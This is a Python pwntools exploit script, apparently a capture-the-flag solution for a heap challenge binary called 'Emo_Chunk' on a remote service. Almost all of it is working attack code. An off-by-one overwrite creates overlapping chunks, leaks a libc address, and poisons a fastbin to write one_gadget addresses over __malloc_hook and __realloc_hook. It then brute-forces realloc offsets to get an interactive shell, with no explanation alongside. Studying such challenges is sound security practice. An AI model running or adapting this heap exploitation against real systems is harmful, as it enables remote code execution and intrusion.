1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| from pwn import *
def connetc(): global p,elf,libc p=remote('192.168.109.168',10000) #p=process('./Emo_Chunk') elf=ELF('./Emo_Chunk') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') #context.log_level='debug' def add(size): p.sendlineafter("Please Choice!",'1') p.sendlineafter("Please Input Size:",str(size))
def dele(index): p.sendlineafter("Please Choice!",'2') p.sendlineafter("Please Input index:",str(index))
def show(index): p.sendlineafter("Please Choice!",'4') p.sendlineafter("Please Input index:",str(index)) def edit(index,content): p.sendlineafter("Please Choice!",'3') p.sendlineafter("Please Input index:",str(index)) p.sendlineafter("Change EMo Content",content) def pwn(i,j): add(0x68)#0 add(0x68)#1 add(0x68)#2 add(0x68)#3 add(0x68)#4 add(0x68)#5 edit(0,'a'*0x68 + '\xe1' + '\x00'*7) dele(1) add(0x68) show(2) p.recvuntil('\n')
addr = u64(p.recv(6).ljust(8,'\x00')) print("addr : " + hex(addr-0x3c4b78)) libc_addr = addr - 0x3c4b78 dele(4) edit(3,'a'*0x68 + p64(0x71) + p64(libc_addr+libc.symbols['__malloc_hook']-0x23)) print(hex(libc_addr+libc.symbols['__malloc_hook']-0x23))
realloc_hook = libc_addr + libc.sym['__realloc_hook'] log.info("realloc_hook:"+hex(realloc_hook)) realloc = libc_addr + libc.sym['realloc'] log.info("realloc:"+hex(realloc)) add(0x68) #4
add(0x68) #6 one = [0x45226,0x4527a,0xf03a4,0xf1247] edit(6,cyclic(11)+p64(libc_addr+one[i]) + p64(realloc + j)) add(0x30)
p.interactive() for i in range(4): for j in [0,2,4,6,8,10,13,16,20]: try: print("i :",i) print("j :",j) connetc() pwn(i,int(j)) p.close() except : print("...") p.close()
|